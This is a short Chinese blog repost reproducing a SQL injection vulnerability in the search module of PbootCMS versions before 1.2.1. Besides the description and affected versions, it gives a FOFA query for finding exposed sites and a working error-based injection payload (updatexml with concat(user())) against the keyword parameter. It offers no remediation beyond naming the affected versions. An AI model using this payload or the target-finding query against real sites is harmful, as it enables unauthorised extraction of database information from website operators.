当前位置：网站首页>PbootCMS search SQL注入漏洞

PbootCMS search SQL注入漏洞

2022-07-17 23:17:00 【孤桜懶契】

漏洞描述

i PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息

漏洞影响

s PbootCMS < 1.2.1

空间测绘

d FOFA：app="PBOOTCMS"

漏洞复现

  • 搜索框页面为
    在这里插入图片描述

  • Payload为

/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123)

在这里插入图片描述

我的个人博客

https://gylq.gitee.io/time/

原网站

版权声明
本文为[孤桜懶契]所创，转载请带上原文链接，感谢
https://blog.csdn.net/qq_35938621/article/details/125765663

边栏推荐

猜你喜欢

随机推荐